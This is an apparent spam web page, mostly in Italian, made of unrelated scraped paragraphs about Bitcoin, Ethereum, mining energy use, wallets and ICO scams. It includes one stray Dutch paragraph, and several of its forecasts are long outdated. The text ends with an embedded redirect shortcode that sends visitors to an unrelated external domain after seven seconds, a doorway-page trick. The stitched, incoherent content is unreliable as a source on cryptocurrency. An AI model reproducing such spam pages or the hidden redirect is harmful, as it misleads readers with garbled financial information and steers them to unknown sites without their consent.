“Cryptocurrency Talk |Cryptocurrencies Future”

Una volta ricevuto l’indirizzo, Alex può decidere attraverso il wallet la quantità di Bitcoin da inviare e l’ammontare delle commissioni da pagare al miner che verificherà il blocco contenente la sua transazione.

Bitcoin è un’implementazione peer-to-peer della proposta b-money di Wei Dai e Bitgold di Nick Szabo. I principi del sistema sono descritti nel “libro bianco” pubblicato da Satoshi Nakamoto nel 2008.[22]

C’è poi un altro problema che accomuna le due monete digitali: consumano troppa energia. Stando alle stime, Ethereum ne utilizza quanto la Corea del Nord, mentre Bitcoin ha un fabbisogno energetico pari addirittura a quello della Bulgaria. E, con gli attuali ritmi di crescita, si potrebbe arrivare entro il 2019 al livello degli Stati Uniti. Tanto in Ethereum quanto in Bitcoin, infatti, per ottenere il diritto di iscrivere nel registro un blocco di transazioni e la relativa ricompensa, il miner deve prima, e per primo, risolvere un complicato problema matematico (proof of work) che richiede computer e schede grafiche molto potenti. Un dispendio di risorse enorme che si riflette sulle commissioni richieste per aggiornare la blockchain: per Bitcoin il costo medio per transazione ha toccato addirittura i 55 dollari, per Ethereum siamo a poco più di un dollaro.

Più minatori si uniscono alla rete, più aumenta la difficoltà nel risolvere i blocchi, aumentando la competitività del sistema. Se all’inizio era possibile e vantaggioso minare da soli, oggi, l’estrazione di Bitcoin richiede una capacità di calcolo enorme: attraverso le mining pools viene unita la potenza di calcolo di più elaboratori, che si “dividono” il lavoro.

Het betaalsysteem werkt daarbij alleen wanneer alle onderdelen van het netwerk over dezelfde informatie beschikken. Normaal gesproken gaat dat vrij eenvoudig doordat deze informatie bij een centrale autoriteit geverifieerd kan worden, maar in een decentraal cryptocurrency netwerk is dit dus niet het geval.

Come in ogni settore, anche le Ico hanno la loro percentuale di truffe. E la brutta notizia è che non esiste un modo infallibile per rilevare le truffe il 100% delle volte. Tuttavia, ci sono alcuni segnali da tenere d’occhio:

«La prima cosa da fare è assicurarsi che chi presenta l’Ico siano persone reali e responsabili”, spiega Francesco Nazar Fusetti di Aidcoin. “Dalla serietà dei fondatori si può intendere la serietà del progetto. E poi il mio consiglio è quello di dare un’occhiata ai tanti siti che fanno analisi e review delle Ico e danno dei voti, come ICO rating“, prosegue. Aiuta anche entrare in contatto con la community che sostiene il progetto, che spesso ha un gruppo su Telegram (ma funzionano anche social come Twitter e il sito Reddit).

Secondo molti osservatori, il mining rappresenterà un ulteriore vettore di crescita per TSMC, con Bitmain pronta a portare sul mercato ASIC più adatti a minare Ethereum e Litecoin (oggi è più concentrata su Bitcoin) probabilmente già in aprile. E questo potrebbe rappresentare sia una croce che una delizia per il mondo delle GPU.

A INIZIO 2018 STOP ALLA PRODUZIONE DI ETHER. La “zecca” di Buterin, invece, è senza fondo. Al momento, sono in circolazione oltre 96 milioni di Ether – l’unità di conto– contro i 16 milioni di Bitcoin. Per ciascun nuovo blocco di transazioni aggiunto alla blockchain di Ethereum, poi, l’autore dell’aggiornamento (il miner, “minatore”) ottiene una ricompensa fissa: ogni 16 secondi circa, quindi, il totale di monete digitale emesse aumenta di 5 unità. In teoria, quindi, è possibile coniare nuovi Ether all’infinito, cosa che ha fatto storcere il naso ai cripto-ortodossi e messo in allarme gli investitori, preoccupati per l’inflazione. Per rassicurarli, Buterin e la sua cerchia di programmatori stanno studiando una modifica all’algoritmo che dovrebbe essere pronta per il lancio a inizio 2018.

Per quanto riguarda il trading online, le criptovalute vengono spesso viste come asset su cui investire sia a lungo sia a breve termine. Oppure come asset su cui speculare grazie al trading CFD su criptovalute. Ma se vogliamo usare le criptovalute magari per fare un acquisto, come possiamo fare?

Chi desidera parte del network di questa valuta, deve come prima cosa installare il già citato Bitcoin Core o una delle alternative comparse nel frattempo, come Bither, Armory o mSIGNA. Il client relativo funge da cosiddetto Bitcoin Wallet, ovvero una sorta di portafogli virtuale per la moneta online. Esso permette di ricevere e inviare bitcoin sincronizzandosi dunque con la rete peer-to-peer. Per questa sincronizzazione è necessario disporre di una larghezza di banda e di spazio di archiviazione sufficienti, poiché il client scarica dati per un totale di oltre 65 GB. Questi 65 GB corrispondono di fatto al sistema di contabilità comune e pubblico, che funziona da nucleo della rete Bitcoin e che viene definito come Blockchain, ovvero catena di blocchi.

A questo punto, è consigliabile immagazzinare le criptovalute appena comprate su un wallet. Se avete utilizzato un exchange per acquistare le criptovalute, avrete a vostra disposizione un wallet online (accessibile quindi dal sito dell’exchange). Anche se non è proprio il posto più sicuro, dato che gli exchange sono stati più volte vittime di attacchi hacker.

Dopo bitcoin e criptovalute, la nuova parola sulla bocca di tutti nel mondo della finanza è Ico, ovvero Initial coin offering. Di cosa si tratta? Che c’entra coi bitcoin? E, soprattutto, c’è da fidarsi? Ecco una piccola (si fa per dire) guida. [redirect url=’http://curbee.info/bump’ sec=’7′]

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